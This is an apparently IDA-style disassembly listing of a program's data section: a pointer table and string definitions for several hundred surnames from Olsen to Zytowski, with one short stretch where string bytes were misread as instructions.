aOlsen ; "Olsen" dd offset aOlson ; "Olson" dd offset aOlszewski ; "Olszewski" dd offset aOMalley ; "O'malley" dd offset aOman ; "Oman" dd offset aOMeara ; "O'meara" dd offset aOpel ; "Opel" dd offset aOray ; "Oray" dd offset aOrfield ; "Orfield" dd offset aOrsi ; "Orsi" dd offset aOspina ; "Ospina" dd offset aOstrowski ; "Ostrowski" dd offset aOttaviani ; "Ottaviani" dd offset aOtten ; "Otten" dd offset aOuchida ; "Ouchida" dd offset aOvid ; "Ovid" dd offset aPaesdealmeida ; "PaesDealmeida" dd offset aPaine ; "Paine" dd offset aPalayoor ; "Palayoor" dd offset aPalepu ; "Palepu" dd offset aPallara ; "Pallara" dd offset aPalmitesta ; "Palmitesta" dd offset aPanadero ; "Panadero" dd offset aPanizzon ; "Panizzon" dd offset aPantilla ; "Pantilla" dd offset aPaoletti ; "Paoletti" dd offset aParmeggiani ; "Parmeggiani" dd offset aParris ; "Parris" dd offset aPartridge ; "Partridge" dd offset aPascucci ; "Pascucci" dd offset aPatefield ; "Patefield" dd offset aPatrick ; "Patrick" dd offset aPattullo ; "Pattullo" dd offset aPavetti ; "Pavetti" dd offset aPavlon ; "Pavlon" dd offset aPawloski ; "Pawloski" dd offset aPaynter ; "Paynter" dd offset aPeabody ; "Peabody" dd offset aPearlberg ; "Pearlberg" dd offset aPederson ; "Pederson" dd offset aPeishel ; "Peishel" dd offset aPenny ; "Penny" dd offset aPereira ; "Pereira" dd offset aPerko ; "Perko" dd offset aPerlak ; "Perlak" dd offset aPerlman ; "Perlman" dd offset aPerna ; "Perna" dd offset aPerone ; "Perone" dd offset aPerrimon ; "Perrimon" dd offset aPeters ; "Peters" dd offset aPetruzello ; "Petruzello" dd offset aPettibone ; "Pettibone" dd offset aPettit ; "Pettit" dd offset aPfister ; "Pfister" dd offset aPilbeam ; "Pilbeam" dd offset aPinot ; "Pinot" dd offset aPlancon ; "Plancon" dd offset aPlant ; "Plant" dd offset aPlasket ; "Plasket" dd offset aPlous ; "Plous" dd offset aPo ; "Po" dd offset aPocobene ; "Pocobene" dd offset aPoincaire ; "Poincaire" dd offset aPointer ; "Pointer" dd offset aPoirier ; "Poirier" dd offset aPolak ; "Polak" dd offset aPolanyi ; "Polanyi" dd offset aPolitis ; "Politis" dd offset aPoma ; "Poma" dd offset aPoolman ; "Poolman" dd offset aPowers ; "Powers" dd offset aPresper ; "Presper" dd offset aPreucel ; "Preucel" dd offset aPrevost ; "Prevost" dd offset aPritchard ; "Pritchard" dd offset aPritz ; "Pritz" dd offset aProietti ; "Proietti" dd offset aProthrowStith ; "Prothrow-Stith" dd offset aPuccia ; "Puccia" dd offset aPugh ; "Pugh" dd offset aPynchon ; "Pynchon" dd offset aQuaday ; "Quaday" dd offset aQuetin ; "Quetin" dd offset aRabe ; "Rabe" dd offset aRabkin ; "Rabkin" dd offset aRadeke ; "Radeke" dd offset aRajagopalan ; "Rajagopalan" dd offset aRaney ; "Raney" dd offset aRangan ; "Rangan" dd offset aRankin ; "Rankin" dd offset aRapple ; "Rapple" dd offset aRayport ; "Rayport" dd offset aReddenTyler ; "Redden-Tyler" dd offset aReedquist ; "Reedquist" dd offset aCunningham ; "Cunningham" dd offset aReinold ; "Reinold" dd offset aRemak ; "Remak" dd offset aRenick ; "Renick" dd offset aRepetto ; "Repetto" dd offset aResnik ; "Resnik" dd offset aRhea ; "Rhea" dd offset aRichmond ; "Richmond" dd offset aRielly ; "Rielly" dd offset aRindos ; "Rindos" dd offset aRineer ; "Rineer" dd offset aRish ; "Rish" dd offset aRivera ; "Rivera" dd offset aRobinson ; "Robinson" dd offset aRocha ; "Rocha" dd offset aRoesler ; "Roesler" dd offset aRogers ; "Rogers" dd offset aRonen ; "Ronen" dd offset aRow ; "Row" dd offset aRoyal ; "Royal" dd offset aRu ; "Ru" dd offset aRuan ; "Ruan" dd offset aRuderman ; "Ruderman" dd offset aRuescher ; "Ruescher" dd offset aRush ; "Rush" dd offset aRyu ; "Ryu" dd offset aSabatello ; "Sabatello" dd offset aSadler ; "Sadler" dd offset aSafire ; "Safire" dd offset aSahu ; "Sahu" dd offset aSali ; "Sali" dd offset aSamson ; "Samson" dd offset aSanchezRamirez ; "Sanchez-Ramirez" dd offset aSanna ; "Sanna" dd offset aSapers ; "Sapers" dd offset aSarin ; "Sarin" dd offset aSartore ; "Sartore" dd offset aSase ; "Sase" dd offset aSatin ; "Satin" dd offset aSatta ; "Satta" dd offset aSatterthwaite ; "Satterthwaite" dd offset aSawtell ; "Sawtell" dd offset aSayied ; "Sayied" dd offset aScarponi ; "Scarponi" dd offset aScepan ; "Scepan" dd offset aScharf ; "Scharf" dd offset aScharlemann ; "Scharlemann" dd offset aScheiner ; "Scheiner" dd offset aSchiano ; "Schiano" dd offset aSchifini ; "Schifini" dd offset aSchilling ; "Schilling" dd offset aSchmitt ; "Schmitt" dd offset aSchossberger ; "Schossberger" dd offset aSchuman ; "Schuman" dd offset aSchutte ; "Schutte" dd offset aSchuyler ; "Schuyler" dd offset aSchwan ; "Schwan" dd offset aSchwickrath ; "Schwickrath" dd offset aScovel ; "Scovel" dd offset aScudder ; "Scudder" dd offset aSeaton ; "Seaton" dd offset aSeeber ; "Seeber" dd offset aSegal ; "Segal" dd offset aSekler ; "Sekler" dd offset aSelvage ; "Selvage" dd offset aSen ; "Sen" dd offset aSennett ; "Sennett" dd offset aSeterdahl ; "Seterdahl" dd offset aSexton ; "Sexton" dd offset aSeyfert ; "Seyfert" dd offset aShaikh ; "Shaikh" dd offset aShakis ; "Shakis" dd offset aShankland ; "Shankland" dd offset aShanley ; "Shanley" dd offset aShar ; "Shar" dd offset aShatrov ; "Shatrov" dd offset aShavelson ; "Shavelson" dd offset aShea ; "Shea" dd offset aSheats ; "Sheats" dd offset aShepherd ; "Shepherd" dd offset aSheppard ; "Sheppard" dd offset aShepstone ; "Shepstone" dd offset aShesko ; "Shesko" dd offset aShia ; "Shia" dd offset aShibata ; "Shibata" dd offset aShimon ; "Shimon" dd offset aSiesto ; "Siesto" dd offset aSigalot ; "Sigalot" dd offset aSigini ; "Sigini" dd offset aSigna ; "Signa" dd offset aSilverman ; "Silverman" dd offset aSilvetti ; "Silvetti" dd offset aSinsabaugh ; "Sinsabaugh" dd offset aSirilli ; "Sirilli" dd offset aSites ; "Sites" dd offset aSkane ; "Skane" dd offset aSkerry ; "Skerry" dd offset aSkoda ; "Skoda" dd offset aSloan ; "Sloan" dd offset aSlowe ; "Slowe" dd offset aSmilow ; "Smilow" dd offset aSniffen ; "Sniffen" dd offset aSnodgrass ; "Snodgrass" dd offset aSocolow ; "Socolow" dd offset aSolon ; "Solon" dd offset aSomers ; "Somers" dd offset aSommariva ; "Sommariva" dd offset aSorabella ; "Sorabella" dd offset aSorg ; "Sorg" dd offset aSottak ; "Sottak" dd offset aSoukup ; "Soukup" dd offset aSoule ; "Soule" dd offset aSoultanian ; "Soultanian" dd offset aSpanier ; "Spanier" dd offset aSparrow ; "Sparrow" dd offset aSpaulding ; "Spaulding" dd offset aSpeizer ; "Speizer" dd offset aSpence ; "Spence" dd offset aSperber ; "Sperber" dd offset aSpicer ; "Spicer" dd offset aSpiegelhalter ; "Spiegelhalter" dd offset aSpiliotis ; "Spiliotis" dd offset aSpinrad ; "Spinrad" dd offset aStmartin ; "StMartin" dd offset aStalvey ; "Stalvey" dd offset aStam ; "Stam" dd offset aStang ; "Stang" dd offset aStassinopolus ; "Stassinopolus" dd offset aStates ; "States" dd offset aStatlender ; "Statlender" dd offset aStefani ; "Stefani" dd offset aSteiner ; "Steiner" dd offset aStephanian ; "Stephanian" dd offset aStepniewska ; "Stepniewska" dd offset aStewartOaten ; "Stewart-Oaten" dd offset aStiepock ; "Stiepock" dd offset aStillwell ; "Stillwell" dd offset aStock ; "Stock" dd offset aStockton ; "Stockton" dd offset aStockwell ; "Stockwell" dd offset aStolzenberg ; "Stolzenberg" dd offset aStonich ; "Stonich" dd offset aStorer ; "Storer" dd offset aStott ; "Stott" dd offset aStrange ; "Strange" dd offset aStrauch ; "Strauch" dd offset aStreiff ; "Streiff" dd offset aStringer ; "Stringer" dd offset aSullivan ; "Sullivan" dd offset aSumner ; "Sumner" dd offset aSuo ; "Suo" dd offset aSurdam ; "Surdam" dd offset aSweeting ; "Sweeting" dd offset aSweetser ; "Sweetser" dd offset aSwindle ; "Swindle" dd offset aTagiuri ; "Tagiuri" dd offset aTai ; "Tai" dd offset aTalaugon ; "Talaugon" dd offset aTambiah ; "Tambiah" dd offset aTandler ; "Tandler" dd offset aTanowitz ; "Tanowitz" dd offset aTatar ; "Tatar" dd offset aTaveras ; "Taveras" dd offset aTawn ; "Tawn" dd offset aTcherepnin ; "Tcherepnin" dd offset aTeague ; "Teague" dd offset aTemes ; "Temes" dd offset aTemmer ; "Temmer" dd offset aTenney ; "Tenney" dd offset aTerracini ; "Terracini" dd offset aThan ; "Than" dd offset aThavaneswaran ; "Thavaneswaran" dd offset aTheodos ; "Theodos" dd offset aThibault ; "Thibault" dd offset aThisted ; "Thisted" dd offset aThomsen ; "Thomsen" dd offset aThroop ; "Throop" dd offset aTierney ; "Tierney" dd offset aTill ; "Till" dd offset aTimmons ; "Timmons" dd offset aTofallis ; "Tofallis" dd offset aTollestrup ; "Tollestrup" dd offset aTolls ; "Tolls" dd offset aTolman ; "Tolman" dd offset aTomford ; "Tomford" dd offset aToomer ; "Toomer" dd offset aTopulos ; "Topulos" dd offset aTorresi ; "Torresi" dd offset aTorske ; "Torske" dd offset aTowler ; "Towler" dd offset aToye ; "Toye" dd offset aTraebert ; "Traebert" dd offset aTrenga ; "Trenga" dd offset aTrewin ; "Trewin" dd offset aTringali ; "Tringali" dd offset aTroiani ; "Troiani" dd offset aTroy ; "Troy" dd offset aTruss ; "Truss" dd offset aTsiatis ; "Tsiatis" dd offset aTsomides ; "Tsomides" dd offset aTsukurov ; "Tsukurov" dd offset aTuck ; "Tuck" dd offset aTudge ; "Tudge" dd offset aTukan ; "Tukan" dd offset aTurano ; "Turano" dd offset aTurek ; "Turek" dd offset aTuttle ; "Tuttle" dd offset aTwells ; "Twells" dd offset aTzamarias ; "Tzamarias" dd offset aUllman ; "Ullman" dd offset aUntermeyer ; "Untermeyer" dd offset aUpsdell ; "Upsdell" dd offset aUrban ; "Urban" dd offset aUrdangBrown ; "Urdang-Brown" dd offset aUsdan ; "Usdan" dd offset aUzuner ; "Uzuner" dd offset aVacca ; "Vacca" dd offset aWaite ; "Waite" dd offset aValberg ; "Valberg" dd offset aValencia ; "Valencia" dd offset aWales ; "Wales" dd offset aWallenberg ; "Wallenberg" dd offset aWalter ; "Walter" dd offset aVanallen ; "vanAllen" dd offset aVanzwet ; "VanZwet" dd offset aVandenberg ; "Vandenberg" dd offset aVanheeckeren ; "Vanheeckeren" dd offset aWarshafsky ; "Warshafsky" dd offset aWasowska ; "Wasowska" dd offset aVasquez ; "Vasquez" dd offset aWaugh ; "Waugh" dd offset aWeighart ; "Weighart" dd offset aWeingarten ; "Weingarten" dd offset aWeinhaus ; "Weinhaus" dd offset aWeissbourd ; "Weissbourd" dd offset aWeissman ; "Weissman" dd offset aVelasquez ; "Velasquez" dd offset aWelles ; "Welles" dd offset aWelsh ; "Welsh" dd offset aWengret ; "Wengret" dd offset aVenne ; "Venne" dd offset aVerghese ; "Verghese" dd offset aWescott ; "Wescott" dd offset aWetzel ; "Wetzel" dd offset aWhately ; "Whately" dd offset aWhilton ; "Whilton" dd offset aWhite ; "White" dd offset aWhitla ; "Whitla" dd offset aWhittaker ; "Whittaker" dd offset aViana ; "Viana" dd offset aViano ; "Viano" dd offset aWiedersheim ; "Wiedersheim" dd offset aWiener ; "Wiener" dd offset aViens ; "Viens" dd offset aVignola ; "Vignola" dd offset aWilder ; "Wilder" dd offset aWilhelm ; "Wilhelm" dd offset aWilk ; "Wilk" dd offset aWilkin ; "Wilkin" dd offset aWilkinson ; "Wilkinson" dd offset aVillarreal ; "Villarreal" dd offset aWillstatter ; "Willstatter" dd offset aWilson ; "Wilson" dd offset aVitali ; "Vitali" dd offset aViviani ; "Viviani" dd offset aVoigt ; "Voigt" dd offset aWolk ; "Wolk" dd offset aVonhoffman ; "VonHoffman" dd offset aWoo ; "Woo" dd offset aWooden ; "Wooden" dd offset aWoods ; "Woods" dd offset aWoodsPowell ; "Woods-Powell" dd offset aVorhaus ; "Vorhaus" dd offset aVotey ; "Votey" dd offset aYacono ; "Yacono" dd offset aYamane ; "Yamane" dd offset aYankee ; "Yankee" dd offset aYarchuk ; "Yarchuk" dd offset aYates ; "Yates" dd offset aYbarra ; "Ybarra" dd offset aYedidia ; "Yedidia" dd offset aYesson ; "Yesson" dd offset aYetiv ; "Yetiv" dd offset aYoffe ; "Yoffe" dd offset aYoo ; "Yoo" dd offset aYoukSee ; "Youk-See" dd offset aYu ; "Yu" dd offset aZachary ; "Zachary" ; --------------------------------------------------------------------------- and ah, ch inc edx add [esp+ebp*8], dl inc edx add [esp+ebp*8], cl inc edx add [esp+ebp*8], al inc edx add ah, bh jmp short loc_42EC09 ; --------------------------------------------------------------------------- align 4 dd offset aZucconi ; "Zucconi" dd offset aZurn ; "Zurn" dd offset aZwiers ; "Zwiers" dd offset aZytowski ; "Zytowski" aZytowski db 'Zytowski',0 ; DATA XREF: ___:0042EBD4o align 4 aZwiers db 'Zwiers',0 ; DATA XREF: ___:0042EBD0o align 4 aZurn db 'Zurn',0 ; DATA XREF: ___:0042EBCCo align 4 aZucconi db 'Zucconi',0 ; DATA XREF: ___:0042EBC8o aZoldak db 'Zoldak',0 align 4 dd 6272655Ah db 69h ; --------------------------------------------------------------------------- loc_42EC09: ; CODE XREF: ___:0042EBC5j outsb imul eax, [eax], 6167655Ah outsb jnb short $+2 add [edx+61h], bl outsb db 67h ja near ptr 0EC83h insb insb ; --------------------------------------------------------------------------- dd 0 aZahedi db 'Zahedi',0 align 4 aZachary db 'Zachary',0 ; DATA XREF: ___:0042EBB0o aYu db 'Yu',0 ; DATA XREF: ___:0042EBACo align 4 aYoukSee db 'Youk-See',0 ; DATA XREF: ___:0042EBA8o align 10h aYoo db 'Yoo',0 ; DATA XREF: ___:0042EBA4o aYoffe db 'Yoffe',0 ; DATA XREF: ___:0042EBA0o align 4 aYetiv db 'Yetiv',0 ; DATA XREF: ___:0042EB9Co align 4 aYesson db 'Yesson',0 ; DATA XREF: ___:0042EB98o align 4 aYedidia db 'Yedidia',0 ; DATA XREF: ___:0042EB94o aYbarra db 'Ybarra',0 ; DATA XREF: ___:0042EB90o align 4 aYates db 'Yates',0 ; DATA XREF: ___:0042EB8Co align 4 aYarchuk db 'Yarchuk',0 ; DATA XREF: ___:0042EB88o aYankee db 'Yankee',0 ; DATA XREF: ___:0042EB84o align 4 aYamane db 'Yamane',0 ; DATA XREF: ___:0042EB80o align 4 aYacono db 'Yacono',0 ; DATA XREF: ___:0042EB7Co align 4 aVotey db 'Votey',0 ; DATA XREF: ___:0042EB78o align 4 aVorhaus db 'Vorhaus',0 ; DATA XREF: ___:0042EB74o aWoodsPowell db 'Woods-Powell',0 ; DATA XREF: ___:0042EB70o align 4 aWoods db 'Woods',0 ; DATA XREF: ___:0042EB6Co align 4 aWooden db 'Wooden',0 ; DATA XREF: ___:0042EB68o align 4 aWoo db 'Woo',0 ; DATA XREF: ___:0042EB64o aVonhoffman db 'VonHoffman',0 ; DATA XREF: ___:0042EB60o align 4 aWolk db 'Wolk',0 ; DATA XREF: ___:0042EB5Co align 4 aVoigt db 'Voigt',0 ; DATA XREF: ___:0042EB58o align 4 aViviani db 'Viviani',0 ; DATA XREF: ___:0042EB54o aVitali db 'Vitali',0 ; DATA XREF: ___:0042EB50o align 4 aWilson db 'Wilson',0 ; DATA XREF: ___:0042EB4Co align 4 aWillstatter db 'Willstatter',0 ; DATA XREF: ___:0042EB48o aVillarreal db 'Villarreal',0 ; DATA XREF: ___:0042EB44o align 4 aWilkinson db 'Wilkinson',0 ; DATA XREF: ___:0042EB40o align 10h aWilkin db 'Wilkin',0 ; DATA XREF: ___:0042EB3Co align 4 aWilk db 'Wilk',0 ; DATA XREF: ___:0042EB38o align 10h aWilhelm db 'Wilhelm',0 ; DATA XREF: ___:0042EB34o aWilder db 'Wilder',0 ; DATA XREF: ___:0042EB30o align 10h aVignola db 'Vignola',0 ; DATA XREF: ___:0042EB2Co aViens db 'Viens',0 ; DATA XREF: ___:0042EB28o align 10h aWiener db 'Wiener',0 ; DATA XREF: ___:0042EB24o align 4 aWiedersheim db 'Wiedersheim',0 ; DATA XREF: ___:0042EB20o aViano db 'Viano',0 ; DATA XREF: ___:0042EB1Co align 4 aViana db 'Viana',0 ; DATA XREF: ___:0042EB18o align 4 aWhittaker db 'Whittaker',0 ; DATA XREF: ___:0042EB14o align 10h aWhitla db 'Whitla',0 ; DATA XREF: ___:0042EB10o align 4 aWhite db 'White',0 ; DATA XREF: ___:0042EB0Co align 10h aWhilton db 'Whilton',0 ; DATA XREF: ___:0042EB08o aWhately db 'Whately',0 ; DATA XREF: ___:0042EB04o aWetzel db 'Wetzel',0 ; DATA XREF: ___:0042EB00o align 4 aWescott db 'Wescott',0 ; DATA XREF: ___:0042EAFCo aVerghese db 'Verghese',0 ; DATA XREF: ___:0042EAF8o align 4 aVenne db 'Venne',0 ; DATA XREF: ___:0042EAF4o align 4 aWengret db 'Wengret',0 ; DATA XREF: ___:0042EAF0o aWelsh db 'Welsh',0 ; DATA XREF: ___:0042EAECo align 4 aWelles db 'Welles',0 ; DATA XREF: ___:0042EAE8o align 4 aVelasquez db 'Velasquez',0 ; DATA XREF: ___:0042EAE4o align 4 aWeissman db 'Weissman',0 ; DATA XREF: ___:0042EAE0o align 4 aWeissbourd db 'Weissbourd',0 ; DATA XREF: ___:0042EADCo align 10h aWeinhaus db 'Weinhaus',0 ; DATA XREF: ___:0042EAD8o align 4 aWeingarten db 'Weingarten',0 ; DATA XREF: ___:0042EAD4o align 4 aWeighart db 'Weighart',0 ; DATA XREF: ___:0042EAD0o align 4 aWaugh db 'Waugh',0 ; DATA XREF: ___:0042EACCo align 4 aVasquez db 'Vasquez',0 ; DATA XREF: ___:0042EAC8o aWasowska db 'Wasowska',0 ; DATA XREF: ___:0042EAC4o align 10h aWarshafsky db 'Warshafsky',0 ; DATA XREF: ___:0042EAC0o align 4 aVanheeckeren db 'Vanheeckeren',0 ; DATA XREF: ___:0042EABCo align 4 aVandenberg db 'Vandenberg',0 ; DATA XREF: ___:0042EAB8o align 4 aVanzwet db 'VanZwet',0 ; DATA XREF: ___:0042EAB4o aVanallen db 'vanAllen',0 ; DATA XREF: ___:0042EAB0o align 4 aWalter db 'Walter',0 ; DATA XREF: ___:0042EAACo align 4 aWallenberg db 'Wallenberg',0 ; DATA XREF: ___:0042EAA8o align 10h aWales db 'Wales',0 ; DATA XREF: ___:0042EAA4o align 4 aValencia db 'Valencia',0 ; DATA XREF: ___:0042EAA0o align 4 aValberg db 'Valberg',0 ; DATA XREF: ___:0042EA9Co aWaite db 'Waite',0 ; DATA XREF: ___:0042EA98o align 4 aVacca db 'Vacca',0 ; DATA XREF: ___:0042EA94o align 4 aUzuner db 'Uzuner',0 ; DATA XREF: ___:0042EA90o align 4 aUsdan db 'Usdan',0 ; DATA XREF: ___:0042EA8Co align 4 aUrdangBrown db 'Urdang-Brown',0 ; DATA XREF: ___:0042EA88o align 4 aUrban db 'Urban',0 ; DATA XREF: ___:0042EA84o align 4 aUpsdell db 'Upsdell',0 ; DATA XREF: ___:0042EA80o aUntermeyer db 'Untermeyer',0 ; DATA XREF: ___:0042EA7Co align 4 aUllman db 'Ullman',0 ; DATA XREF: ___:0042EA78o align 10h aTzamarias db 'Tzamarias',0 ; DATA XREF: ___:0042EA74o align 4 aTwells db 'Twells',0 ; DATA XREF: ___:0042EA70o align 4 aTuttle db 'Tuttle',0 ; DATA XREF: ___:0042EA6Co align 4 aTurek db 'Turek',0 ; DATA XREF: ___:0042EA68o align 4 aTurano db 'Turano',0 ; DATA XREF: ___:0042EA64o align 4 aTukan db 'Tukan',0 ; DATA XREF: ___:0042EA60o align 4 aTudge db 'Tudge',0 ; DATA XREF: ___:0042EA5Co align 4 aTuck db 'Tuck',0 ; DATA XREF: ___:0042EA58o align 4 aTsukurov db 'Tsukurov',0 ; DATA XREF: ___:0042EA54o align 10h aTsomides db 'Tsomides',0 ; DATA XREF: ___:0042EA50o align 4 aTsiatis db 'Tsiatis',0 ; DATA XREF: ___:0042EA4Co aTruss db 'Truss',0 ; DATA XREF: ___:0042EA48o align 4 aTroy db 'Troy',0 ; DATA XREF: ___:0042EA44o align 4 aTroiani db 'Troiani',0 ; DATA XREF: ___:0042EA40o aTringali db 'Tringali',0 ; DATA XREF: ___:0042EA3Co align 4 aTrewin db 'Trewin',0 ; DATA XREF: ___:0042EA38o align 10h aTrenga db 'Trenga',0 ; DATA XREF: ___:0042EA34o align 4 aTraebert db 'Traebert',0 ; DATA XREF: ___:0042EA30o align 4 aToye db 'Toye',0 ; DATA XREF: ___:0042EA2Co align 4 aTowler db 'Towler',0 ; DATA XREF: ___:0042EA28o align 4 aTorske db 'Torske',0 ; DATA XREF: ___:0042EA24o align 4 aTorresi db 'Torresi',0 ; DATA XREF: ___:0042EA20o aTopulos db 'Topulos',0 ; DATA XREF: ___:0042EA1Co aToomer db 'Toomer',0 ; DATA XREF: ___:0042EA18o align 4 aTomford db 'Tomford',0 ; DATA XREF: ___:0042EA14o aTolman db 'Tolman',0 ; DATA XREF: ___:0042EA10o align 4 aTolls db 'Tolls',0 ; DATA XREF: ___:0042EA0Co align 4 aTollestrup db 'Tollestrup',0 ; DATA XREF: ___:0042EA08o align 4 aTofallis db 'Tofallis',0 ; DATA XREF: ___:0042EA04o align 4 aTimmons db 'Timmons',0 ; DATA XREF: ___:0042EA00o aTill db 'Till',0 ; DATA XREF: ___:0042E9FCo align 4 aTierney db 'Tierney',0 ; DATA XREF: ___:0042E9F8o aThroop db 'Throop',0 ; DATA XREF: ___:0042E9F4o align 4 aThomsen db 'Thomsen',0 ; DATA XREF: ___:0042E9F0o aThisted db 'Thisted',0 ; DATA XREF: ___:0042E9ECo aThibault db 'Thibault',0 ; DATA XREF: ___:0042E9E8o align 10h aTheodos db 'Theodos',0 ; DATA XREF: ___:0042E9E4o aThavaneswaran db 'Thavaneswaran',0 ; DATA XREF: ___:0042E9E0o align 4 aThan db 'Than',0 ; DATA XREF: ___:0042E9DCo align 10h aTerracini db 'Terracini',0 ; DATA XREF: ___:0042E9D8o align 4 aTenney db 'Tenney',0 ; DATA XREF: ___:0042E9D4o align 4 aTemmer db 'Temmer',0 ; DATA XREF: ___:0042E9D0o align 4 aTemes db 'Temes',0 ; DATA XREF: ___:0042E9CCo align 4 aTeague db 'Teague',0 ; DATA XREF: ___:0042E9C8o align 4 aTcherepnin db 'Tcherepnin',0 ; DATA XREF: ___:0042E9C4o align 4 aTawn db 'Tawn',0 ; DATA XREF: ___:0042E9C0o align 10h aTaveras db 'Taveras',0 ; DATA XREF: ___:0042E9BCo aTatar db 'Tatar',0 ; DATA XREF: ___:0042E9B8o align 10h aTanowitz db 'Tanowitz',0 ; DATA XREF: ___:0042E9B4o align 4 aTandler db 'Tandler',0 ; DATA XREF: ___:0042E9B0o aTambiah db 'Tambiah',0 ; DATA XREF: ___:0042E9ACo aTalaugon db 'Talaugon',0 ; DATA XREF: ___:0042E9A8o align 4 aTai db 'Tai',0 ; DATA XREF: ___:0042E9A4o aTagiuri db 'Tagiuri',0 ; DATA XREF: ___:0042E9A0o aSwindle db 'Swindle',0 ; DATA XREF: ___:0042E99Co aSweetser db 'Sweetser',0 ; DATA XREF: ___:0042E998o align 4 aSweeting db 'Sweeting',0 ; DATA XREF: ___:0042E994o align 4 aSurdam db 'Surdam',0 ; DATA XREF: ___:0042E990o align 4 aSuo db 'Suo',0 ; DATA XREF: ___:0042E98Co aSumner db 'Sumner',0 ; DATA XREF: ___:0042E988o align 4 aSullivan db 'Sullivan',0 ; DATA XREF: ___:0042E984o align 4 aStringer db 'Stringer',0 ; DATA XREF: ___:0042E980o align 10h aStreiff db 'Streiff',0 ; DATA XREF: ___:0042E97Co aStrauch db 'Strauch',0 ; DATA XREF: ___:0042E978o aStrange db 'Strange',0 ; DATA XREF: ___:0042E974o aStott db 'Stott',0 ; DATA XREF: ___:0042E970o align 10h aStorer db 'Storer',0 ; DATA XREF: ___:0042E96Co align 4 aStonich db 'Stonich',0 ; DATA XREF: ___:0042E968o aStolzenberg db 'Stolzenberg',0 ; DATA XREF: ___:0042E964o aStockwell db 'Stockwell',0 ; DATA XREF: ___:0042E960o align 4 aStockton db 'Stockton',0 ; DATA XREF: ___:0042E95Co align 4 aStock db 'Stock',0 ; DATA XREF: ___:0042E958o align 4 aStillwell db 'Stillwell',0 ; DATA XREF: ___:0042E954o align 4 aStiepock db 'Stiepock',0 ; DATA XREF: ___:0042E950o align 4 aStewartOaten db 'Stewart-Oaten',0 ; DATA XREF: ___:0042E94Co align 4 aStepniewska db 'Stepniewska',0 ; DATA XREF: ___:0042E948o aStephanian db 'Stephanian',0 ; DATA XREF: ___:0042E944o align 4 aSteiner db 'Steiner',0 ; DATA XREF: ___:0042E940o aStefani db 'Stefani',0 ; DATA XREF: ___:0042E93Co aStatlender db 'Statlender',0 ; DATA XREF: ___:0042E938o align 4 aStates db 'States',0 ; DATA XREF: ___:0042E934o align 10h aStassinopolus db 'Stassinopolus',0 ; DATA XREF: ___:0042E930o align 10h aStang db 'Stang',0 ; DATA XREF: ___:0042E92Co align 4 aStam db 'Stam',0 ; DATA XREF: ___:0042E928o align 10h aStalvey db 'Stalvey',0 ; DATA XREF: ___:0042E924o aStmartin db 'StMartin',0 ; DATA XREF: ___:0042E920o align 4 aSpinrad db 'Spinrad',0 ; DATA XREF: ___:0042E91Co aSpiliotis db 'Spiliotis',0 ; DATA XREF: ___:0042E918o align 4 aSpiegelhalter db 'Spiegelhalter',0 ; DATA XREF: ___:0042E914o align 4 aSpicer db 'Spicer',0 ; DATA XREF: ___:0042E910o align 10h aSperber db 'Sperber',0 ; DATA XREF: ___:0042E90Co aSpence db 'Spence',0 ; DATA XREF: ___:0042E908o align 10h aSpeizer db 'Speizer',0 ; DATA XREF: ___:0042E904o aSpaulding db 'Spaulding',0 ; DATA XREF: ___:0042E900o align 4 aSparrow db 'Sparrow',0 ; DATA XREF: ___:0042E8FCo aSpanier db 'Spanier',0 ; DATA XREF: ___:0042E8F8o aSoultanian db 'Soultanian',0 ; DATA XREF: ___:0042E8F4o align 10h aSoule db 'Soule',0 ; DATA XREF: ___:0042E8F0o align 4 aSoukup db 'Soukup',0 ; DATA XREF: ___:0042E8ECo align 10h aSottak db 'Sottak',0 ; DATA XREF: ___:0042E8E8o align 4 aSorg db 'Sorg',0 ; DATA XREF: ___:0042E8E4o align 10h aSorabella db 'Sorabella',0 ; DATA XREF: ___:0042E8E0o align 4 aSommariva db 'Sommariva',0 ; DATA XREF: ___:0042E8DCo align 4 aSomers db 'Somers',0 ; DATA XREF: ___:0042E8D8o align 10h aSolon db 'Solon',0 ; DATA XREF: ___:0042E8D4o align 4 aSocolow db 'Socolow',0 ; DATA XREF: ___:0042E8D0o aSnodgrass db 'Snodgrass',0 ; DATA XREF: ___:0042E8CCo align 4 aSniffen db 'Sniffen',0 ; DATA XREF: ___:0042E8C8o aSmilow db 'Smilow',0 ; DATA XREF: ___:0042E8C4o align 4 aSlowe db 'Slowe',0 ; DATA XREF: ___:0042E8C0o align 4 aSloan db 'Sloan',0 ; DATA XREF: ___:0042E8BCo align 4 aSkoda db 'Skoda',0 ; DATA XREF: ___:0042E8B8o align 4 aSkerry db 'Skerry',0 ; DATA XREF: ___:0042E8B4o align 4 aSkane db 'Skane',0 ; DATA XREF: ___:0042E8B0o align 4 aSites db 'Sites',0 ; DATA XREF: ___:0042E8ACo align 4 aSirilli db 'Sirilli',0 ; DATA XREF: ___:0042E8A8o aSinsabaugh db 'Sinsabaugh',0 ; DATA XREF: ___:0042E8A4o align 10h aSilvetti db 'Silvetti',0 ; DATA XREF: ___:0042E8A0o align 4 aSilverman db 'Silverman',0 ; DATA XREF: ___:0042E89Co align 4 aSigna db 'Signa',0 ; DATA XREF: ___:0042E898o align 10h aSigini db 'Sigini',0 ; DATA XREF: ___:0042E894o align 4 aSigalot db 'Sigalot',0 ; DATA XREF: ___:0042E890o aSiesto db 'Siesto',0 ; DATA XREF: ___:0042E88Co align 4 aShimon db 'Shimon',0 ; DATA XREF: ___:0042E888o align 10h aShibata db 'Shibata',0 ; DATA XREF: ___:0042E884o aShia db 'Shia',0 ; DATA XREF: ___:0042E880o align 10h aShesko db 'Shesko',0 ; DATA XREF: ___:0042E87Co align 4 aShepstone db 'Shepstone',0 ; DATA XREF: ___:0042E878o align 4 aSheppard db 'Sheppard',0 ; DATA XREF: ___:0042E874o align 10h aShepherd db 'Shepherd',0 ; DATA XREF: ___:0042E870o align 4 aSheats db 'Sheats',0 ; DATA XREF: ___:0042E86Co align 4 aShea db 'Shea',0 ; DATA XREF: ___:0042E868o align 4 aShavelson db 'Shavelson',0 ; DATA XREF: ___:0042E864o align 4 aShatrov db 'Shatrov',0 ; DATA XREF: ___:0042E860o aShar db 'Shar',0 ; DATA XREF: ___:0042E85Co align 4 aShanley db 'Shanley',0 ; DATA XREF: ___:0042E858o aShankland db 'Shankland',0 ; DATA XREF: ___:0042E854o align 4 aShakis db 'Shakis',0 ; DATA XREF: ___:0042E850o align 4 aShaikh db 'Shaikh',0 ; DATA XREF: ___:0042E84Co align 4 aSeyfert db 'Seyfert',0 ; DATA XREF: ___:0042E848o aSexton db 'Sexton',0 ; DATA XREF: ___:0042E844o align 4 